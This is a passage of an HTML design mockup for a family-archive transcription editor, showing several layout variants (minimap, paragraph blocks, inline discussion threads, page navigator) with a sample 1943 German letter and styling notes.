|
||||
<div class="minimap-line" style="top:28px;width:85%;"></div>
|
||||
<div class="minimap-line" style="top:36px;width:78%;"></div>
|
||||
<div class="minimap-line" style="top:44px;width:70%;"></div>
|
||||
<div class="minimap-line" style="top:52px;width:80%;"></div>
|
||||
<div class="minimap-line" style="top:60px;width:55%;"></div>
|
||||
<div class="minimap-line" style="top:68px;width:72%;"></div>
|
||||
<div class="minimap-line" style="top:76px;width:0;"></div>
|
||||
<div class="minimap-line" style="top:84px;width:82%;"></div>
|
||||
<div class="minimap-line" style="top:92px;width:68%;"></div>
|
||||
<!-- User cursors as dots -->
|
||||
<div class="minimap-dot" style="top:50px;background:var(--blue);"></div>
|
||||
<div class="minimap-dot" style="top:28px;background:var(--purple);"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab">Diskussion <span class="bp-badge">3</span></div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V2 · Split with minimap & comment gutter</h4>
|
||||
<pre>/* Power-user variant. Adds two elements to V1:
|
||||
* 1. Minimap (32px, far right): compressed view of all transcript lines as 1px bars.
|
||||
* Viewport highlight (turquoise tint rectangle). User cursor dots (colored, positioned by line).
|
||||
* Click minimap to jump to that position.
|
||||
* 2. Comment gutter (28px, between line numbers and text):
|
||||
* Empty circles on uncommented lines (show on hover only).
|
||||
* Filled navy circles with count on lines that have comments.
|
||||
* Click to open a comment popover (reuses existing CommentThread component).
|
||||
* Line-level comments are a new comment type: annotationId=null, lineNumber=N.
|
||||
* Bottom panel: Transcription tab removed (now inline). Discussion tab shows document-level comments only. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Minimap</td></tr>
|
||||
<tr><td>Width</td><td>32px, bg:sand, border-left:line</td><td>Sticky, does not scroll with transcript</td></tr>
|
||||
<tr><td>Viewport bar</td><td>turquoise 20% opacity, 1px border turquoise</td><td>Height proportional to viewport/total ratio</td></tr>
|
||||
<tr><td>Line bars</td><td>1px height, left:4px right:4px, border opacity .4</td><td>Width proportional to line character count</td></tr>
|
||||
<tr><td>Cursor dots</td><td>4px circles, user-color, centered horizontally</td><td>Positioned at user's line offset</td></tr>
|
||||
<tr class="grp"><td colspan="3">Comment gutter</td></tr>
|
||||
<tr><td>Width</td><td>28px, bg:page, border-right:line</td><td>Icons 14px circles, vertically aligned per line</td></tr>
|
||||
<tr><td>Has comments</td><td>navy bg, white text, font-size:6px count</td><td>Click opens popover with CommentThread</td></tr>
|
||||
<tr><td>Empty</td><td>sand bg, border:line, "+" icon</td><td>Visible on hover only to reduce noise</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V3 — PARAGRAPH-AWARE SPLIT
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v3">
|
||||
<div class="scr-head"><h3>V3 — Paragraph-aware split</h3><span class="scr-id">V3</span></div>
|
||||
<div class="scr-desc">The transcript side is organized into named paragraph blocks instead of a flat line list. Each paragraph has a small header ("Anrede", "Hauptteil", "Schluss") and a body area. The currently active paragraph is highlighted with a mint border, and the PDF auto-scrolls to show the corresponding region. Users click a paragraph to focus it. This gives structure to the transcription and makes it easier to divide work ("I'll do paragraph 3, you do paragraph 4").</div>
|
||||
<div class="scr-var"><strong>Paragraph blocks with named sections</strong> — structured editor, active paragraph highlighted, PDF region linked.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="presence" style="margin-right:6px;"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence" style="margin-right:6px;"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 4px;"></div>
|
||||
<div class="fa-topbar-btn active">✎ Transkribieren</div>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:380px;">
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:200px;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
</div>
|
||||
<!-- Active paragraph region highlight on PDF -->
|
||||
<div style="position:absolute;left:15%;right:15%;top:80px;height:50px;border:1.5px dashed var(--turquoise);background:rgba(0,199,177,.05);border-radius:3px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<div class="split-right" style="width:380px;">
|
||||
<div class="trans-toolbar">
|
||||
<div class="tool-btn active">Bearbeiten</div>
|
||||
<div class="tool-btn">Vorschau</div>
|
||||
<div class="tool-btn">+ Abschnitt</div>
|
||||
<div class="presence-group">
|
||||
<span class="status-saved">✓ Gespeichert</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style="flex:1;overflow-y:auto;padding:8px;display:flex;flex-direction:column;gap:6px;background:#fff;">
|
||||
<!-- Paragraph 1: Greeting -->
|
||||
<div class="para-block">
|
||||
<div class="para-head">
|
||||
<span>§ 1 — Anrede</span>
|
||||
<span style="margin-left:auto;color:var(--green-dark);">✓</span>
|
||||
</div>
|
||||
<div class="para-body">Liebe Martha,</div>
|
||||
</div>
|
||||
|
||||
<!-- Paragraph 2: Main body (active, being edited by Oma Inge) -->
|
||||
<div class="para-block active">
|
||||
<div class="para-head">
|
||||
<span>§ 2 — Hauptteil</span>
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--purple);width:4px;height:4px;"></div> <span style="font-size:5px;">Oma Inge</span></div>
|
||||
</div>
|
||||
<div class="para-body" style="border-left:2px solid var(--purple);padding-left:6px;background:rgba(83,74,183,.04);">ich schreibe Dir heute aus dem Lazarett in Breslau. Mach Dir keine Sorgen, es geht mir den Umständen entsprechend gut. Der Arzt sagt <span style="color:var(--color-text-muted);font-style:italic;">[unleserlich]</span> Wochen noch dauern wird.</div>
|
||||
</div>
|
||||
|
||||
<!-- Paragraph 3: Family (being edited by current user) -->
|
||||
<div class="para-block active" style="border-color:var(--blue);box-shadow:0 0 0 1px var(--blue);">
|
||||
<div class="para-head">
|
||||
<span>§ 3 — Familie</span>
|
||||
<div class="presence" style="margin-left:auto;"><div class="presence-dot" style="background:var(--blue);width:4px;height:4px;"></div> <span style="font-size:5px;">Du</span></div>
|
||||
</div>
|
||||
<div class="para-body" style="border-left:2px solid var(--blue);padding-left:6px;background:rgba(45,125,210,.04);">Die Kinder sollen wissen, dass ich an sie denke. Sag dem kleinen Fritz, er soll auf seine Mutter aufpassen.<span class="trans-cursor"></span></div>
|
||||
</div>
|
||||
|
||||
<!-- Paragraph 4: Closing -->
|
||||
<div class="para-block">
|
||||
<div class="para-head">
|
||||
<span>§ 4 — Schluss</span>
|
||||
<span style="margin-left:auto;color:var(--green-dark);">✓</span>
|
||||
</div>
|
||||
<div class="para-body">In ewiger Liebe,<br/>Dein Heinrich</div>
|
||||
</div>
|
||||
|
||||
<!-- Empty state: add new paragraph -->
|
||||
<div style="border:1px dashed var(--color-border);border-radius:4px;padding:6px;text-align:center;font-size:7px;color:var(--color-text-muted);cursor:pointer;">+ Neuen Abschnitt hinzufügen</div>
|
||||
</div>
|
||||
|
||||
<div class="status-bar">
|
||||
<span>4 Abschnitte</span>
|
||||
<span>§ 3 aktiv</span>
|
||||
<span style="margin-left:auto;">Oma Inge · § 2</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab">Diskussion <span class="bp-badge">3</span></div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V3 · Paragraph-aware split</h4>
|
||||
<pre>/* Structured variant. Transcript is divided into named paragraph blocks.
|
||||
* Each paragraph:
|
||||
* - Header: section number + label (editable) + presence indicator + checkmark if reviewed.
|
||||
* - Body: contenteditable div, full paragraph text.
|
||||
* - Active paragraph: mint border + box-shadow glow. PDF auto-scrolls to corresponding region.
|
||||
* PDF region highlight: dashed turquoise rectangle over the approximate area matching the active paragraph.
|
||||
* (User can drag to adjust the PDF region mapping — stored as normalized Y coordinates.)
|
||||
* "+ Abschnitt" button in toolbar creates a new paragraph block at the end.
|
||||
* Paragraphs can be reordered via drag handle in the header.
|
||||
* This variant makes task division explicit: "I'll do §2, you do §3."
|
||||
* Trade-off: requires users to define paragraph boundaries upfront — less fluid than line-by-line. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Paragraph blocks</td></tr>
|
||||
<tr><td>Block container</td><td>border:1px line, radius:6px, overflow:hidden</td><td>Active: border-color:mint, box-shadow:0 0 0 1px mint</td></tr>
|
||||
<tr><td>Header</td><td>bg:sand, py:3px px:8px, font:6px/600 uppercase</td><td>Section number + label + presence + status</td></tr>
|
||||
<tr><td>Body</td><td>Tinos 16px/1.7, padding:6px 10px, contenteditable</td><td>User-color left border when being edited</td></tr>
|
||||
<tr><td>PDF region</td><td>dashed turquoise border, rgba(.05) fill, absolute</td><td>Mapped via normalized Y coords per paragraph</td></tr>
|
||||
<tr class="grp"><td colspan="3">Interactions</td></tr>
|
||||
<tr><td>Add paragraph</td><td>Dashed border placeholder at bottom</td><td>Also via toolbar "+ Abschnitt" button</td></tr>
|
||||
<tr><td>Reorder</td><td>Drag handle in paragraph header</td><td>Draggable within the paragraph list</td></tr>
|
||||
<tr><td>Rename</td><td>Double-click section label to edit</td><td>Default labels: Anrede, Hauptteil, Schluss</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V4 — SPLIT WITH INLINE DISCUSSION THREADS
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v4">
|
||||
<div class="scr-head"><h3>V4 — Split with inline discussion threads</h3><span class="scr-id">V4</span></div>
|
||||
<div class="scr-desc">Google Docs-style: the transcript is a plain text editor, but users can select a range of text and start a discussion thread on it. Threads appear as highlighted text with a small thread icon in the right margin. Clicking a thread opens a compact comment popover next to the highlighted text. This merges the "transcribe" and "discuss" workflows into one — family members can debate a difficult word ("Is this 'Breslau' or 'Braunau'?") right where it appears.</div>
|
||||
<div class="scr-var"><strong>Split + inline text-anchored discussion threads</strong> — select text to start a thread, threads shown as highlights with margin icons.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<div class="fa-topbar-btn active">✎ Transkribieren</div>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:380px;">
|
||||
<div class="split-left">
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:200px;">
|
||||
<div style="font-size:7px;color:#8A8070;font-style:italic;margin-bottom:4px;opacity:.7;">Liebe Martha,</div>
|
||||
<div class="pl" style="width:90%;"></div><div class="ps" style="width:85%;"></div><div class="ps" style="width:92%;"></div>
|
||||
<div class="pl" style="width:78%;"></div><div class="ps" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div>
|
||||
<div style="font-size:6px;color:#8A8070;margin-top:6px;text-align:right;opacity:.7;">Dein Heinrich</div>
|
||||
</div>
|
||||
<div class="pdf-line-marker" style="right:0;left:auto;top:68px;height:24px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<div class="split-right" style="width:400px;">
|
||||
<div class="trans-toolbar">
|
||||
<div class="tool-btn active">Bearbeiten</div>
|
||||
<div class="tool-btn">Vorschau</div>
|
||||
<div class="tool-btn">[unleserlich]</div>
|
||||
<div class="tool-btn" style="border:1px solid var(--orange);color:var(--orange);">💬 Diskutieren</div>
|
||||
<div class="presence-group">
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style="flex:1;display:flex;overflow:hidden;">
|
||||
<!-- Editor area -->
|
||||
<div class="trans-panel" style="flex:1;position:relative;">
|
||||
<div class="trans-line"><div class="trans-ln">1</div><div class="trans-text">Liebe Martha,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">2</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line"><div class="trans-ln">3</div><div class="trans-text">ich schreibe Dir heute aus dem Lazarett</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">4</div><div class="trans-text">in <span style="background:rgba(232,134,42,.15);border-bottom:2px solid var(--orange);padding:0 1px;">Breslau</span>. Mach Dir keine Sorgen,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">5</div><div class="trans-text">es geht mir den Umständen</div></div>
|
||||
<div class="trans-line hl-blue"><div class="trans-ln">6</div><div class="trans-text">entsprechend gut. Der Arzt sagt<span class="trans-cursor"></span></div></div>
|
||||
<div class="trans-line"><div class="trans-ln">7</div><div class="trans-text" style="color:var(--color-text-muted);font-style:italic;">[unleserlich]</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">8</div><div class="trans-text"><span style="background:rgba(232,134,42,.15);border-bottom:2px solid var(--orange);padding:0 1px;">Wochen</span> noch dauern wird.</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">9</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line"><div class="trans-ln">10</div><div class="trans-text">Die Kinder sollen wissen, dass ich</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">11</div><div class="trans-text">an sie denke. Sag dem kleinen Fritz,</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">12</div><div class="trans-text">er soll auf seine Mutter aufpassen.</div></div>
|
||||
</div>
|
||||
|
||||
<!-- Thread margin -->
|
||||
<div style="width:28px;flex-shrink:0;background:var(--color-page);border-left:1px solid var(--color-subtle);position:relative;">
|
||||
<!-- Thread icon for "Breslau" (line 4) -->
|
||||
<div style="position:absolute;top:52px;left:50%;transform:translateX(-50%);width:16px;height:16px;border-radius:50%;background:var(--orange-tint);border:1px solid var(--orange);display:flex;align-items:center;justify-content:center;font-size:7px;cursor:pointer;" title="Ist das Breslau oder Braunau?">2</div>
|
||||
<!-- Thread icon for "Wochen" (line 8) -->
|
||||
<div style="position:absolute;top:108px;left:50%;transform:translateX(-50%);width:16px;height:16px;border-radius:50%;background:var(--orange-tint);border:1px solid var(--orange);display:flex;align-items:center;justify-content:center;font-size:7px;cursor:pointer;" title="Wochen oder Monate?">1</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Inline thread popover (expanded for "Breslau") -->
|
||||
<div style="background:#fff;border-top:1px solid #e4e2d7;flex-shrink:0;">
|
||||
<div style="padding:6px 10px;border-left:3px solid var(--orange);background:var(--orange-tint);">
|
||||
<div style="font-size:7px;font-weight:600;color:var(--orange-dark);margin-bottom:3px;">Diskussion — “Breslau” (Z. 4)</div>
|
||||
<div style="display:flex;gap:4px;align-items:flex-start;margin-bottom:4px;">
|
||||
<div style="width:14px;height:14px;border-radius:50%;background:var(--purple);display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:#fff;flex-shrink:0;">OI</div>
|
||||
<div style="font-size:8px;color:var(--color-text);line-height:1.5;"><strong style="font-size:7px;">Oma Inge</strong><br/>Ich bin mir sicher, das ist “Breslau” — Heinrich war im Lazarett dort stationiert.</div>
|
||||
</div>
|
||||
<div style="display:flex;gap:4px;align-items:flex-start;">
|
||||
<div style="width:14px;height:14px;border-radius:50%;background:var(--blue);display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:#fff;flex-shrink:0;">DU</div>
|
||||
<div style="font-size:8px;color:var(--color-text);line-height:1.5;"><strong style="font-size:7px;">Du</strong><br/>Stimmt, danke! Lass ich so.</div>
|
||||
</div>
|
||||
<div style="margin-top:4px;display:flex;gap:4px;">
|
||||
<input style="flex:1;font-size:7px;padding:3px 6px;border:1px solid var(--color-border);border-radius:3px;background:var(--color-page);" placeholder="Antworten..."/>
|
||||
<div style="font-size:7px;font-weight:600;color:var(--green-dark);padding:3px 6px;cursor:pointer;">✓ Lösen</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="status-bar">
|
||||
<span class="status-saved">✓ Gespeichert</span>
|
||||
<span>12 Zeilen</span>
|
||||
<span style="margin-left:auto;">2 offene Diskussionen</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab">Diskussion <span class="bp-badge">5</span></div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V4 · Split with inline discussion threads</h4>
|
||||
<pre>/* Google Docs-style inline threads. Key additions:
|
||||
* 1. Text-anchored threads: select a word/phrase → click "Diskutieren" → creates an orange-highlighted
|
||||
* range with a numbered circle in the right margin.
|
||||
* 2. Click the margin circle to open/close a discussion popover at the bottom of the transcript panel.
|
||||
* 3. Thread popover: orange left border, user avatar + name + message, reply input, "Lösen" (resolve) button.
|
||||
* 4. Resolved threads: highlight removed, margin icon turns to a checkmark, thread hidden by default.
|
||||
* 5. Thread anchors survive text edits via character offset tracking (reanchor on edit).
|
||||
* This merges transcription + discussion into one workflow — no need to switch to Discussion tab
|
||||
* for transcription-specific questions like "Is this word X or Y?"
|
||||
* Thread data model: new table transcription_threads (document_id, anchor_start, anchor_end, resolved). */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Thread highlights</td></tr>
|
||||
<tr><td>Active highlight</td><td>bg:rgba(orange,.15), border-bottom:2px orange</td><td>Inline span wrapping the anchored text range</td></tr>
|
||||
<tr><td>Margin icon</td><td>16px circle, orange-tint bg, orange border, count</td><td>Positioned absolute, aligned to the highlighted line</td></tr>
|
||||
<tr><td>Resolved</td><td>highlight removed, icon → gray checkmark</td><td>Toggle "show resolved" in toolbar to review</td></tr>
|
||||
<tr class="grp"><td colspan="3">Thread popover</td></tr>
|
||||
<tr><td>Container</td><td>border-top:line, bg:white, border-left:3px orange</td><td>Docked to bottom of transcript panel</td></tr>
|
||||
<tr><td>Message</td><td>14px avatar + 12px name bold + 13px body</td><td>Reuses existing CommentThread message pattern</td></tr>
|
||||
<tr><td>Reply input</td><td>text input + "Lösen" resolve button</td><td>Green resolve button right-aligned</td></tr>
|
||||
</tbody></table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════════════
|
||||
V5 — MULTI-PAGE SPLIT WITH PAGE NAVIGATOR
|
||||
═══════════════════════════════════════════════════════════════════════════ -->
|
||||
<div class="scr" id="v5">
|
||||
<div class="scr-head"><h3>V5 — Multi-page split with page navigator</h3><span class="scr-id">V5</span></div>
|
||||
<div class="scr-desc">Optimized for multi-page letters (the common case — many letters are 2-4 pages). The transcript panel has a page navigator strip at the top showing page thumbnails. Clicking a page loads that PDF page on the left and scrolls the transcript to the corresponding section. The transcript is divided by [Seitenwechsel] markers that create clear page boundaries. A progress indicator shows how many pages are fully transcribed.</div>
|
||||
<div class="scr-var"><strong>Split + page navigator strip + per-page progress</strong> — designed for 2-8 page letters, page-level task tracking.</div>
|
||||
|
||||
<div class="previews">
|
||||
<div class="prev-col">
|
||||
<div class="bp-lbl">Desktop · 1040px</div>
|
||||
<div class="desk">
|
||||
<div class="fa-nav">
|
||||
<div class="fa-logo">FAMILIENARCHIV</div>
|
||||
<div class="fa-link">Dokumente</div>
|
||||
<div class="fa-link">Personen</div>
|
||||
<div class="fa-nav-r"><div class="fa-av">MR</div></div>
|
||||
</div>
|
||||
<div class="fa-topbar">
|
||||
<div class="back">←</div>
|
||||
<div class="title">Brief von Heinrich an Martha, 14. Mai 1943</div>
|
||||
<div style="flex:1"></div>
|
||||
<!-- Progress bar -->
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-right:8px;">
|
||||
<span style="font-size:7px;color:var(--color-text-muted);">Fortschritt</span>
|
||||
<div style="width:60px;height:4px;background:var(--color-border);border-radius:2px;overflow:hidden;">
|
||||
<div style="width:62%;height:100%;background:var(--turquoise);border-radius:2px;"></div>
|
||||
</div>
|
||||
<span style="font-size:7px;color:var(--turquoise);font-weight:600;">2/3</span>
|
||||
</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 4px;"></div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--blue);"></div> Du</div>
|
||||
<div class="presence" style="margin-right:4px;"><div class="presence-dot" style="background:var(--purple);"></div> Oma Inge</div>
|
||||
<div style="width:1px;height:16px;background:#e4e2d7;margin:0 4px;"></div>
|
||||
<div class="fa-topbar-btn active">✎ Transkribieren</div>
|
||||
</div>
|
||||
|
||||
<div class="split" style="height:380px;">
|
||||
<div class="split-left">
|
||||
<!-- Page navigator on PDF side -->
|
||||
<div class="page-nav">
|
||||
<div class="page-dot" style="background:var(--green);"></div>
|
||||
<span style="font-weight:600;color:var(--navy);">Seite 2 von 3</span>
|
||||
<div class="page-dot active"></div>
|
||||
<div class="page-dot"></div>
|
||||
<div style="margin-left:8px;display:flex;gap:3px;">
|
||||
<div style="font-size:8px;color:var(--color-text-muted);cursor:pointer;padding:0 3px;">←</div>
|
||||
<div style="font-size:8px;color:var(--color-text-muted);cursor:pointer;padding:0 3px;">→</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf-area" style="flex:1;">
|
||||
<div class="paper" style="width:55%;min-height:180px;">
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div><div class="ps" style="width:60%;"></div>
|
||||
<div class="pl" style="width:75%;"></div><div class="ps" style="width:82%;"></div><div class="ps" style="width:45%;"></div>
|
||||
<div class="pl" style="width:88%;"></div><div class="ps" style="width:70%;"></div>
|
||||
<div class="pl" style="width:84%;"></div><div class="ps" style="width:90%;"></div>
|
||||
</div>
|
||||
<div class="pdf-line-marker" style="right:0;left:auto;top:50px;height:20px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="split-handle"></div>
|
||||
|
||||
<div class="split-right" style="width:380px;">
|
||||
<div class="trans-toolbar">
|
||||
<div class="tool-btn active">Bearbeiten</div>
|
||||
<div class="tool-btn">Vorschau</div>
|
||||
<div class="tool-btn">[unleserlich]</div>
|
||||
<div class="presence-group">
|
||||
<span class="status-saved">✓ Gespeichert</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="trans-panel">
|
||||
<!-- Page 1 marker (greyed, already done) -->
|
||||
<div style="display:flex;align-items:center;gap:6px;padding:4px 8px;margin-bottom:4px;background:var(--green-tint);border-radius:3px;">
|
||||
<span style="font-size:7px;font-weight:600;color:var(--green-dark);">✓ Seite 1</span>
|
||||
<span style="font-size:6px;color:var(--green-dark);margin-left:auto;">15 Zeilen · Oma Inge</span>
|
||||
</div>
|
||||
<div style="padding:2px 4px;font-size:8px;color:var(--color-text-muted);font-style:italic;margin-bottom:6px;">Liebe Martha, ich schreibe Dir heute aus dem Lazarett in Breslau...</div>
|
||||
|
||||
<!-- Page 2 divider (active) -->
|
||||
<div style="display:flex;align-items:center;gap:6px;padding:4px 8px;margin:8px 0 4px;background:var(--blue-tint);border-radius:3px;border:1px solid var(--blue);border-style:solid;">
|
||||
<span style="font-size:7px;font-weight:600;color:var(--blue-dark);">Seite 2</span>
|
||||
<span style="font-size:6px;color:var(--blue-dark);margin-left:auto;">aktiv</span>
|
||||
</div>
|
||||
|
||||
<div class="trans-line hl-purple"><div class="trans-ln">16</div><div class="trans-text">Die Versorgung hier ist gut, besser als</div></div>
|
||||
<div class="trans-line hl-purple"><div class="trans-ln">17</div><div class="trans-text">an der Front. Wir bekommen täglich</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">18</div><div class="trans-text">Suppe und manchmal sogar Brot mit</div></div>
|
||||
<div class="trans-line hl-blue"><div class="trans-ln">19</div><div class="trans-text">Butter. Der Kamerad im Bett neben mir<span class="trans-cursor"></span></div></div>
|
||||
<div class="trans-line"><div class="trans-ln">20</div><div class="trans-text">kommt aus Leipzig und erzählt mir</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">21</div><div class="trans-text">von seiner Familie. Das gibt Trost.</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">22</div><div class="trans-text"> </div></div>
|
||||
<div class="trans-line"><div class="trans-ln">23</div><div class="trans-text">Hoffentlich ist der kleine Fritz artig.</div></div>
|
||||
<div class="trans-line"><div class="trans-ln">24</div><div class="trans-text" style="color:var(--color-text-muted);font-style:italic;">[unleserlich — 2-3 Zeilen]</div></div>
|
||||
|
||||
<!-- Page 3 divider (empty) -->
|
||||
<div style="display:flex;align-items:center;gap:6px;padding:4px 8px;margin:8px 0 4px;background:var(--sand);border-radius:3px;border:1px dashed var(--color-border);">
|
||||
<span style="font-size:7px;font-weight:600;color:var(--color-text-muted);">Seite 3</span>
|
||||
<span style="font-size:6px;color:var(--color-text-muted);margin-left:auto;">noch leer</span>
|
||||
</div>
|
||||
<div style="padding:8px;font-size:8px;color:var(--color-text-muted);font-style:italic;text-align:center;">Klicke hier, um mit Seite 3 zu beginnen</div>
|
||||
</div>
|
||||
|
||||
<div class="status-bar">
|
||||
<span>Seite 2 von 3</span>
|
||||
<span>24 Zeilen gesamt</span>
|
||||
<span style="margin-left:auto;">Oma Inge · Z. 16–17</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bp-tabs">
|
||||
<div class="bp-tab">Metadaten</div>
|
||||
<div class="bp-tab">Diskussion <span class="bp-badge">3</span></div>
|
||||
<div class="bp-tab">Verlauf</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="agent">
|
||||
<h4>V5 · Multi-page split with page navigator</h4>
|
||||
<pre>/* Optimized for multi-page letters (the common case).
|
||||
* Page navigator: strip above PDF with page dots, arrow buttons, "Seite N von M" label.
|
||||
* - Dot colors: green = fully transcribed, navy = active, gray = empty.
|
||||
* - Click dot or arrow to switch PDF page and auto-scroll transcript.
|
||||
* Transcript: continuous scroll with [Seitenwechsel] dividers.
|
||||
* - Page 1 divider: green tint, checkmark, collapsed to summary line when not active.
|
||||
* - Active page divider: blue tint, solid border.
|
||||
* - Empty page divider: dashed border, sand bg, "click to start" hint.
|
||||
* Progress bar in topbar: Fortschritt N/M, turquoise fill, visible at a glance.
|
||||
* Line numbers are global (continuous across pages) so references stay stable.
|
||||
* Per-page attribution: status bar shows who transcribed each page.
|
||||
* Data model: transcription text uses "---[Seite N]---" markers to delimit pages. */</pre>
|
||||
<table class="at"><thead><tr><th>Element</th><th>Value</th><th>Notes</th></tr></thead><tbody>
|
||||
<tr class="grp"><td colspan="3">Page navigator</td></tr>
|
||||
<tr><td>Strip</td><td>h:22px, bg:white, border-bottom:line, centered</td><td>Above PDF area</td></tr>
|
||||
<tr><td>Page dots</td><td>6px circles: green(done), navy(active), gray(empty)</td><td>Click to switch page</td></tr>
|
||||
<tr><td>Arrows</td><td>← → text buttons, 8px, muted</td><td>Keyboard: Ctrl+PgUp/PgDn</td></tr>
|
||||
<tr class="grp"><td colspan="3">Page dividers in transcript</td></tr>
|
||||
